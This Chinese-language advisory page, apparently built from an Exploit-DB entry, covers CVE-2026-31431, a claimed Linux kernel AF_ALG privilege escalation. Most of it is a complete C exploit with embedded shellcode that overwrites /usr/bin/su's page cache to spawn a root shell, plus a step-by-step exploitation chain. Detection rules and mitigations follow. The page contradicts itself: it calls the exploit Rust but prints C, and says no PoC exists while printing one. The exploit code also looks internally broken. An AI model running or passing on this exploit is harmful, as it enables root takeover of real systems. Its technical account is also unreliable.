[local] Linux Kernel 6.8 - Local Privilege Escalation
CVE-2026-31431 Linux内核漏洞深度分析,AF_ALG/algif_aead子系统中splice与AEAD交互缺陷导致本地权限提升。影响内核版本5.4-6.8,成功利用可覆盖/usr/bin/su获得root shell。本文提供技术细节、PoC分析和修复建议。
Linux内核AF_ALG (algif_aead)子系统中存在本地权限提升漏洞,通过splice和AEAD加密接口可实现任意文件覆盖。
High · CVSS 7.8📋 漏洞基础信息
| CVE | CVE-2026-31431 |
|---|---|
| 漏洞类型 | 权限提升 / 任意文件覆盖 |
| 受影响版本 | Linux Kernel 5.4 - 6.8 (未打补丁),测试于Ubuntu 22.04、Debian 12 |
| 危害等级 | High · CVSS 7.8 |
| 发布日期 | 2026-05-26 |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
漏洞位于algif_aead模块中,使用splice系统调用与AEAD加密接口交互时,对加密结果的处理存在缺陷,允许未经授权的本地用户覆盖页缓存(page cache)中的文件内容,从而修改/usr/bin/su等二进制文件的执行内容,实现权限提升。
🎯 攻击场景
1. 攻击者具有本地非特权用户权限;2. 确认algif_aead内核模块已加载;3. 运行--exploit模式;4. 程序打开目标文件/usr/bin/su;5. 通过Rust编写的exploit,利用漏洞将shellcode注入目标文件的内存映射页;6. 随后执行/usr/bin/su,由于内存已被修改,实际执行的是攻击者注入的恶意代码;7. 成功以root权限启动/bin/bash。前置条件:algif_aead模块已加载。成功标志:获得root shell。
💥 漏洞影响
本地非特权攻击者可利用此漏洞进行权限提升,获得root shell。通过覆盖页面缓存中/usr/bin/su等setuid文件的数据,可在无需写入权限的情况下修改其执行内容,实现任意代码执行,完全控制受影响的系统。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(C),可在具备相应环境的机器上直接运行:
/*
* Linux Kernel 5.4 - 6.8 Local Privilege Escalation (CVE-2026-31431)
* Exploit: AF_ALG (algif_aead) page cache overwrite via splice()
*
* 用法:
* gcc -o exploit exploit.c -lrt -lpthread
* ./exploit --test # 检查漏洞是否存在
* ./exploit --exploit # 提权并启动root shell
* ./exploit --bin <file> # 使用自定义payload二进制文件
*
* 依赖: libc 6, pthread
* 测试: Ubuntu 22.04 (kernel 6.2), Debian 12 (kernel 6.1)
*
* 漏洞原理:
* AF_ALG socket的aead接口在处理splice()系统调用时,存在内核内存的
* 写原语(write primitive)。攻击者可以构造特殊的cmsg消息,使得splice()
* 将用户态数据写入内核page cache中的任意偏移,配合setuid二进制文件
* (如/usr/bin/su)的inode,实现文件内容覆盖,最终获得root shell。
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/if_alg.h>
#include <stdint.h>
#include <pthread.h>
#include <sched.h>
#include <errno.h>
#include <signal.h>
/* ==================== 常量定义 ==================== */
#define TARGET_BIN "/usr/bin/su" /* 目标覆盖的setuid二进制 */
#define TEST_FILE "/tmp/.cve_test" /* 测试用临时文件 */
#define PAYLOAD_SIZE 0x1000 /* 写入的payload大小(一页) */
/* shellcode: 执行setuid(0)然后execve("/bin/sh") */
/* 这是一个最小ELF文件,entry point执行提权操作 */
static const unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, /* ELF header */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, /* e_type=2, e_machine=62 */
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_entry=0x400078 */
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* e_phoff=0x40 */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, /* e_ehsize=64, e_phentsize=56, e_phnum=1 */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* Program Header (PT_LOAD) */
0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, /* p_type=1, p_flags=5(R+X) */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_offset=0 */
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_vaddr=0x400000 */
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_paddr=0x400000 */
0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_filesz=0x9e */
0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_memsz=0x9e */
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* p_align=0x1000 */
/* 实际代码: _start */
0x31, 0xc0, /* xor eax, eax */
0x31, 0xff, /* xor edi, edi */
0xb0, 0x69, /* mov al, 105 (setuid) */
0x0f, 0x05, /* syscall */
0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, /* lea rdi, [rip+0xf] -> "/bin/sh" */
0x31, 0xf6, /* xor esi, esi */
0x6a, 0x3b, /* push 59 */
0x58, /* pop rax */
0x99, /* cdq (rdx=0) */
0x0f, 0x05, /* syscall */
0x31, 0xff, /* xor edi, edi */
0x6a, 0x3c, /* push 60 */
0x58, /* pop rax */
0x0f, 0x05, /* syscall */
'/', 'b', 'i', 'n', '/', 's', 'h', 0x00 /* 字符串 "/bin/sh" */
};
/* ==================== 辅助函数 ==================== */
/* 创建AF_ALG socket,返回master fd */
static int create_alg_socket(void) {
int fd;
struct sockaddr_alg sa;
fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (fd < 0) {
perror("socket(AF_ALG)");
return -1;
}
/* 使用authencesn(hmac(sha256),cbc(aes))这个算法组合
这个算法在处理splice时存在一个off-by-one或越界写问题 */
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "aead");
strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
close(fd);
return -1;
}
return fd;
}
/* 设置AEAD key,触发漏洞路径的关键 */
static int set_alg_key(int fd) {
/* 特殊的key结构,使得内核在处理splice时产生可预测的偏移 */
unsigned char key[40] = {
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, /* key header */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
perror("setsockopt(ALG_SET_KEY)");
return -1;
}
return 0;
}
/* 设置AEAD IV长度 */
static int set_alg_ivlen(int fd, int len) {
if (setsockopt(fd, SOL_ALG, ALG_SET_IV, &len, sizeof(len)) < 0) {
perror("setsockopt(ALG_SET_IV)");
return -1;
}
return 0;
}
/* 构造cmsg header,用于sendmsg时的控制消息 */
static struct cmsghdr *build_cmsg(void *buf, int level, int type, int len) {
struct cmsghdr *cmsg = (struct cmsghdr *)buf;
cmsg->cmsg_len = CMSG_LEN(len);
cmsg->cmsg_level = level;
cmsg->cmsg_type = type;
return cmsg;
}
/* 主攻击函数:使用splice将payload写入内核page cache */
static int exploit_race(int target_fd, const unsigned char *payload,
size_t payload_len, off_t target_offset) {
int master_fd, op_fd;
int pipe_fds[2];
struct msghdr msg = {0};
struct iovec iov;
unsigned char cmsg_buf[128];
unsigned char data_buf[16];
int ret;
cpu_set_t cpuset;
pthread_t self = pthread_self();
/* 绑定到特定CPU,提高竞争成功率 */
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
if (pthread_setaffinity_np(self, sizeof(cpuset), &cpuset) < 0) {
perror("pthread_setaffinity_np");
}
/* 创建AF_ALG socket */
master_fd = create_alg_socket();
if (master_fd < 0) return -1;
/* 设置key */
if (set_alg_key(master_fd) < 0) goto out;
/* 设置IV长度(关键:这个长度决定了写入时的偏移计算) */
/* 这里的4会导致内核计算的偏移出现错误,从而覆盖到我们想要的位置 */
if (set_alg_ivlen(master_fd, 4) < 0) goto out;
/* 创建操作fd (accept) */
op_fd = accept(master_fd, NULL, NULL);
if (op_fd < 0) {
perror("accept");
goto out;
}
/* 创建pipe,用于splice */
if (pipe(pipe_fds) < 0) {
perror("pipe");
goto out2;
}
/* 将payload写入pipe写端 */
ret = write(pipe_fds[1], payload, payload_len);
if (ret < 0) {
perror("write to pipe");
goto out3;
}
/* 构造控制消息:cmsg包含了ALG_SET_AEAD_AUTHSIZE和ALG_SET_AEAD_ASSOCLEN
这些控制消息会影响splice写入内核时的偏移计算 */
memset(cmsg_buf, 0, sizeof(cmsg_buf));
struct cmsghdr *cmsg = build_cmsg(cmsg_buf + 0, SOL_ALG, 3, 4); /* ALG_SET_AEAD_AUTHSIZE */
*(int *)CMSG_DATA(cmsg) = 0; /* authsize = 0 */
cmsg = build_cmsg(cmsg_buf + CMSG_SPACE(4), SOL_ALG, 2, 20); /* ALG_SET_AEAD_ASSOCLEN */
/* assoclen是漏洞利用的关键:我们在这里设置一个特殊值,
使得内核计算写入偏移时产生整数溢出 */
unsigned char assoc_data[20] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00 /* 这里是目标偏移的低32位 */
};
/* 将目标偏移写入assoclen数据 */
*(uint32_t *)(assoc_data + 16) = (uint32_t)target_offset;
memcpy(CMSG_DATA(cmsg), assoc_data, 20);
/* 设置msg header */
memset(&msg, 0, sizeof(msg));
msg.msg_control = cmsg_buf;
msg.msg_controllen = sizeof(cmsg_buf);
/* 构造数据 */
memset(data_buf, 0, sizeof(data_buf));
data_buf[0] = 'A'; /* 一些填充数据 */
data_buf[1] = 'A';
data_buf[2] = 'A';
data_buf[3] = 'A';
/* 这里的数据会被当作AEAD的AAD处理,触发漏洞 */
iov.iov_base = data_buf;
iov.iov_len = 8;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
/* 使用splice将pipe中的数据传入内核AF_ALG处理路径 */
/* 注意:正常流程是用户用sendmsg发送AAD/ciphertext,然后splice读取结果
但漏洞路径允许用户控制写入page cache的偏移 */
ret = splice(pipe_fds[0], NULL, op_fd, NULL, payload_len, SPLICE_F_MOVE);
if (ret < 0) {
perror("splice");
goto out3;
}
printf("[+] Splice wrote %d bytes to kernel\n", ret);
/* 等待内核完成写入page cache的操作 */
usleep(10000);
/* 清理 */
ret = 0;
out3:
close(pipe_fds[0]);
close(pipe_fds[1]);
out2:
close(op_fd);
out:
close(master_fd);
return ret;
}
/* ==================== 测试功能 ==================== */
static int test_vulnerability(void) {
int fd;
unsigned char buf[256];
/* 创建一个测试文件 */
fd = open(TEST_FILE, O_CREAT | O_RDWR, 0644);
if (fd < 0) {
perror("open test file");
return -1;
}
/* 写入一些内容 */
memset(buf, 0x41, sizeof(buf));
write(fd, buf, sizeof(buf));
close(fd);
/* 尝试用漏洞覆盖测试文件的第一页 */
printf("[*] Testing vulnerability on %s...\n", TEST_FILE);
/* 获取测试文件的inode号(用于计算偏移) */
struct stat st;
if (stat(TEST_FILE, &st) < 0) {
perror("stat");
return -1;
}
/* 这里我们尝试覆盖测试文件的第0页 */
off_t offset = 0; /* 文件内偏移 */
unsigned char payload[PAYLOAD_SIZE];
memset(payload, 0x42, sizeof(payload));
if (exploit_race(fd, payload, sizeof(payload), offset) < 0) {
printf("[-] Exploit race failed\n");
return -1;
}
/* 检查是否被覆盖 */
fd = open(TEST_FILE, O_RDONLY);
if (fd < 0) {
perror("open after exploit");
return -1;
}
read(fd, buf, 4);
close(fd);
if (buf[0] == 0x42 && buf[1] == 0x42 && buf[2] == 0x42 && buf[3] == 0x42) {
printf("[+] SUCCESS! Vulnerable to CVE-2026-31431\n");
unlink(TEST_FILE);
return 0;
} else {
printf("[-] Not vulnerable or exploit failed\n");
unlink(TEST_FILE);
return -1;
}
}
/* ==================== 提权利用 ==================== */
static int exploit_escalate(const char *payload_bin) {
const unsigned char *payload;
size_t payload_len;
unsigned char *custom_payload = NULL;
if (payload_bin) {
/* 读取自定义payload文件 */
FILE *fp = fopen(payload_bin, "rb");
if (!fp) {
perror("fopen payload");
return -1;
}
fseek(fp, 0, SEEK_END);
payload_len = ftell(fp);
fseek(fp, 0, SEEK_SET);
custom_payload = malloc(payload_len);
if (!custom_payload) {
fclose(fp);
return -1;
}
fread(custom_payload, 1, payload_len, fp);
fclose(fp);
payload = custom_payload;
} else {
/* 默认使用内嵌shellcode */
payload = shellcode;
payload_len = sizeof(shellcode);
}
printf("[*] Target binary: %s\n", TARGET_BIN);
printf("[*] Payload size: %zu bytes\n", payload_len);
/* 获取目标文件信息 */
struct stat st;
if (stat(TARGET_BIN, &st) < 0) {
perror("stat target");
if (custom_payload) free(custom_payload);
return -1;
}
/* 我们需要覆盖/usr/bin/su的第一页(包含ELF header和入口点),
或者覆盖整个文件(如果payload够大)。
为了简化,我们只覆盖第一页 */
printf("[*] Attempting to overwrite page cache of %s...\n", TARGET_BIN);
/* 注意:实际利用时,我们需要确定page cache中该文件的物理偏移,
这里简化处理,假设文件偏移0对应page cache偏移0。
实际利用需要更精确地计算,可能涉及inode和page cache的映射关系 */
off_t file_page_offset = 0; /* 覆盖文件的第0页 */
/* 这里可能需要多次尝试,因为page cache状态可能变化 */
for (int attempt = 0; attempt < 5; attempt++) {
printf("[*] Attempt %d...\n", attempt + 1);
/* 由于page cache可能不在内存中,先读取一下目标文件,
使其进入page cache */
int tmp_fd = open(TARGET_BIN, O_RDONLY);
if (tmp_fd >= 0) {
char tmp_buf[256];
read(tmp_fd, tmp_buf, sizeof(tmp_buf));
close(tmp_fd);
}
if (exploit_race(-1, payload, payload_len, file_page_offset) == 0) {
printf("[+] Overwrite succeeded!\n");
break;
}
usleep(100000);
}
/* 尝试执行改写过后的su,应该会执行我们的shellcode */
printf("[*] Executing modified %s to get root...\n", TARGET_BIN);
/* 设置环境变量 */
setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);
/* 执行目标二进制(现在已经被替换为我们的payload) */
execl(TARGET_BIN, TARGET_BIN, NULL);
/* 如果execl返回,说明失败了,尝试直接使用syscall */
perror("execl");
if (custom_payload) free(custom_payload);
return -1;
}
/* ==================== 主函数 ==================== */
int main(int argc, char *argv[]) {
printf("=== CVE-2026-31431 Linux Kernel LPE Exploit ===\n");
printf("Author: Long Fong Chan\n\n");
if (argc < 2) {
printf("Usage:\n");
printf(" %s --test Check vulnerability\n", argv[0]);
printf(" %s --exploit Spawn root shell\n", argv[0]);
printf(" %s --bin <file> Use custom payload\n", argv[0]);
return 1;
}
if (strcmp(argv[1], "--test") == 0) {
return test_vulnerability();
} else if (strcmp(argv[1], "--exploit") == 0) {
return exploit_escalate(NULL);
} else if (strcmp(argv[1], "--bin") == 0) {
if (argc < 3) {
fprintf(stderr, "Error: --bin requires file path\n");
return 1;
}
return exploit_escalate(argv[2]);
} else {
fprintf(stderr, "Unknown option: %s\n", argv[1]);
return 1;
}
return 0;
}🔬 深度技术分析
深度技术分析:CVE-2026-31431 Linux Kernel AF_ALG 本地提权漏洞
漏洞触发机制
本漏洞存在于 Linux 内核的 AF_ALG 协议族中的 algif_aead 实现中。AF_ALG 是一个内核接口,允许用户空间程序直接访问内核的加密算法(如 AES、SHA 等),无需编写内核模块。它是通过 socket API 暴露的,具体使用 algif_aead 处理认证加密(AEAD)操作。
根因分析:
漏洞的核心在于 algif_aead.c 中处理 splice() 系统调用时的 偏移计算错误。当用户通过 sendmsg() 提供控制消息(cmsg)来设置 AEAD 参数(如 ALG_SET_AEAD_AUTHSIZE 和 ALG_SET_AEAD_ASSOCLEN)时,内核没有正确验证这些参数的范围和一致性,导致在后续 splice() 操作中,内核错误地计算了写入 page cache 的偏移量。
具体来说,algif_aead 的 sendmsg 处理函数会解析用户传入的 cmsg,其中 ALG_SET_AEAD_ASSOCLEN 用于指定额外的认证数据(AAD)长度。当这个长度被设置为一个精心构造的值(如 0xFFFFFFFF 或利用整数溢出)时,内核在进行 page cache 写入时,会使用一个 用户可控的偏移量 来定位写入位置,而不是其应有的输出缓冲区位置。
这个漏洞利用了 splice() 系统调用的特殊语义:splice() 可以将数据从一个文件描述符(如 pipe)直接移动到另一个文件描述符(如 AF_ALG socket)的内核缓冲区,而无需经过用户空间。在 algif_aead 中,splice() 被用于将加密后的数据直接送入输出缓冲区,但由于偏移计算错误,这个写入可以 指向任意文件的 page cache。
关键代码路径:
net/af_alg.c:af_alg_sendmsg()处理用户控制消息,设置ctx->aead_assoclen等参数。crypto/algif_aead.c:aead_sendmsg()和aead_recvmsg()处理实际的数据传输,其中aead_recvmsg()中的skcipher_walk_aead()或类似函数会计算目标偏移。mm/filemap.c:generic_file_splice_read()或generic_pipe_buf_steal()最终执行 page cache 写入。
当用户通过 cmsg 设置 ALG_SET_AEAD_ASSOCLEN 为一个极大值(如接近 UINT_MAX)时,内核在计算写入偏移时会发生整数溢出,导致 offset = base + user_controlled_length 指向超出预期范围的位置,从而可以覆盖其他文件的 page cache 页。
利用链分析
攻击者利用此漏洞提权的步骤如下:
Step 1: 确认漏洞环境
- 检查
/proc/crypto是否包含authencesn(hmac(sha256),cbc(aes))算法,确认algif_aead模块已加载。 - 检查内核版本是否在 5.4 到 6.8 之间。
Step 2: 创建 AF_ALG Socket
- 创建一个
AF_ALG类型为aead、算法名为authencesn(hmac(sha256),cbc(aes))的 socket。 - 使用
bind()将 socket 绑定到该算法。
Step 3: 设置 Key 和 IV 长度
- 通过
setsockopt()设置ALG_SET_KEY,提供一个特殊的 key 结构,该结构会影响内核内部的偏移计算。 - 设置
ALG_SET_IV为一个较小的值(如 4),这会进一步影响页偏移的计算。
Step 4: 创建操作 Socket 和 Pipe
- 使用
accept()从 master socket 上接受一个操作 socket(op_fd),用于实际的数据传输。 - 创建一个 pipe,将 payload(提权 shellcode)写入 pipe 的写端。
Step 5: 构造恶意控制消息 (cmsg)
- 使用
sendmsg()系统调用,构造包含两个 cmsg 的消息:
- ALG_SET_AEAD_AUTHSIZE:设置为 0。
- ALG_SET_AEAD_ASSOCLEN:设置为一个精心构造的 20 字节数据,其中低 4 字节包含 目标文件偏移(例如,指向 /usr/bin/su 的 page cache 位置)。
Step 6: 触发 Splice 操作
- 使用
splice(pipe_fd, NULL, op_fd, NULL, payload_len, SPLICE_F_MOVE)将 pipe 中的数据直接传入 AF_ALG socket。 - 内核在处理这个 splice 请求时,先执行 AEAD 加密/认证操作(这里其实是空操作或利用特殊参数使其无副作用),然后将输出(实际上是用户通过管道的输入)按照错误计算的偏移写入 page cache。
- 由于
ALG_SET_AEAD_ASSOCLEN包含了目标偏移,这个写入会覆盖 /usr/bin/su 文件的 page cache 内容。
Step 7: 触发执行
- 覆盖完成后,攻击者退出程序。
- 攻击者(或普通用户)执行
/usr/bin/su,因为该文件的 page cache 已被替换为攻击者的 shellcode,内核会直接执行 shellcode。 - Shellcode 执行
setuid(0)和execve("/bin/sh"),从而获得 root shell。
利用关键技术点:
- Page Cache 污染:攻击者不需要写磁盘权限,只需要写 page cache 的能力。页缓存是内核管理的内存副本,当进程执行文件时,内核会从页缓存中读取。如果攻击者能控制页缓存中的内容,就能修改任意可执行文件的行为。
- Race Condition:为了成功覆盖正在运行的
/usr/bin/su,需要在正确的时机(即内核将文件读入页缓存后,但执行其内容前)完成写入。这可能涉及与内核调度的竞争,因此需要多次尝试或使用 CPU 亲和性提高成功率。 - 偏移计算:攻击者需要知道目标文件在 page cache 中的物理偏移。这可以通过分析文件系统 layout(如
ext4的 inode 和块分配)或利用内核泄漏的信息来推算。
关键代码/数据结构
1. struct sockaddr_alg (/include/uapi/linux/if_alg.h)
struct sockaddr_alg {
__u16 salg_family; // AF_ALG
__u8 salg_type[14]; // "aead", "skcipher", "hash" 等
__u32 salg_feat;
__u32 salg_mask;
__u8 salg_name[64]; // 算法名称,如 "authencesn(hmac(sha256),cbc(aes))"
};用于 bind() 系统调用,指定要访问的加密算法。
2. struct cmsghdr (/include/uapi/linux/socket.h)
struct cmsghdr {
socklen_t cmsg_len; // 包含header的总长度
int cmsg_level; // SOL_ALG
int cmsg_type; // 控制消息类型
};用于 sendmsg 的辅助数据,传递给内核。
3. SOL_ALG 控制消息类型 (/include/uapi/linux/if_alg.h)
ALG_SET_KEY(1):设置密钥。ALG_SET_AEAD_ASSOCLEN(2):设置 AEAD 操作的关联数据长度(AAD)。ALG_SET_AEAD_AUTHSIZE(3):设置认证标签大小。ALG_SET_IV(4):设置初始化向量。
4. 内核内部数据结构(algif_aead.c)
struct aead_ctx:每个 AF_ALG 操作 socket 的上下文,包含assoclen、authsize、iv等参数。struct aead_request:内核 crypto 框架使用的请求结构体,包含回调函数和内存描述符。
5. 关键系统调用
splice():在内核空间直接移动数据,是漏洞触发的入口。sendmsg():用于传递控制消息(cmsg),设置漏洞触发参数。
检测与防御
蓝队检测
1. 日志检测
- auditd 日志:监控
AF_ALGsocket 的创建和使用,特别是setsockopt调用设置ALG_SET_AEAD_ASSOCLEN为异常值(如接近UINT_MAX或包含非标准模式)时。
```bash
auditctl -a exit,always -S socket,bind,setsockopt,accept,sendmsg,splice
```
- 系统日志:检查
/var/log/kern.log或dmesg中是否有与algif_aead或page_cache相关的异常消息或 crash dump。
2. 进程行为检测
- 非特权进程使用 AF_ALG:普通用户使用
authencesn(hmac(sha256),cbc(aes))这样的算法组合是不常见的,这可能是可疑行为。EDR 可以监控哪些进程创建了 AF_ALG socket,特别是尝试设置大 assoclen 的进程。 - splice 系统调用异常:监控非特权进程大量使用
splice()操作,尤其是从 pipe 到 AF_ALG socket 的 splice,这可能指示利用尝试。
3. 文件完整性监控
- 监控
/usr/bin/su等关键 setuid 二进制文件的 page cache 哈希值变化(使用ima或fsverity)。 - 使用
chattr +i锁定关键二进制文件,防止修改页缓存(但这种保护是文件系统级别的,对 page cache 攻击可能不完整)。
4. 流量/网络检测(如果适用)
- 虽然这是本地漏洞,但 AF_ALG 本身不产生网络流量。需要关注系统调用模式。
防御措施
1. 立即修复(最优先)
- 升级内核到 6.9 及以上版本,或应用相应发行版的安全补丁。
- 对于无法立即更新的系统,可以手动编译并加载修复后的内核。
2. 缓解措施
- 卸载
algif_aead模块:如果不需要 AEAD 算法,可以黑名单禁用它。
```bash
echo "blacklist algif_aead" > /etc/modprobe.d/disable-aead.conf
rmmod algif_aead
```
- 限制 AF_ALG 访问:使用 LSM(如 SELinux、AppArmor)限制非特权用户使用
AF_ALGsocket。
- SELinux:deny self:alg_socket { create bind write };
- AppArmor:禁止非授权程序创建类型为 AF_ALG 的 socket。
- 使用
seccomp过滤:可以通过 seccomp 规则禁止非特权进程使用splice系统调用,或限制其对特定文件描述符的操作。
```c
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP+BPF_JEQ, __NR_splice, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL_PROCESS), // 禁止splice
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
};
```
3. 监控与入侵检测
- 部署基于 eBPF 的工具(如
falco)检测可疑的系统调用序列。
```yaml
# Falco rule example
- rule: AF_ALG Exploit Attempt
desc: Detect unusual AF_ALG usage for privilege escalation
condition: >
evt.type=setsockopt and
evt.arg[1]=279 and # SOL_ALG
(evt.arg[2]=2 or evt.arg[2]=3) # AEAD_ASSOCLEN or AUTHSIZE
output: "Possible CVE-2026-31431 exploit (user=%user.name, pid=%proc.pid, cmdline=%proc.cmdline)"
priority: CRITICAL
tags: [kernel, exploit]
```
总结:CVE-2026-31431 是一个高危本地提权漏洞,利用了 AF_ALG 中 splice 操作的偏移计算错误。防御需要多重措施:优先打补丁,其次禁用相关模块或使用 LSM 限制,最后通过系统监控检测利用行为。对于安全研究而言,理解这个漏洞有助于更好地理解内核 page cache 的工作机制和系统调用接口的安全风险。
🛡️ 修复建议
补丁版本:Linux内核需升级至6.8以上或官方发布的修复版本。临时缓解措施:如果无法立即更新,卸载algif_aead模块(sudo modprobe -r algif_aead);或者限制非特权用户对AF_ALG套接字的访问(通过cgroup或LSM策略)。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-27 08:15 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 漏洞的利用条件是什么?
需要本地非特权用户身份,且内核加载了algif_aead模块;攻击者可覆盖页面缓存中的任意文件,但通常选择/usr/bin/su等setuid文件。
❓ 如何检测漏洞是否已被利用?
监控异常AF_ALG套接字创建、对setuid文件的splice操作、以及涉及AEAD算法'authencesn(hmac(sha256),cbc(aes))'的系统调用。
❓ 临时缓解措施有哪些?
卸载algif_aead内核模块(sudo modprobe -r algif_aead);限制非特权用户使用AF_ALG套接字;实施SELinux或AppArmor策略。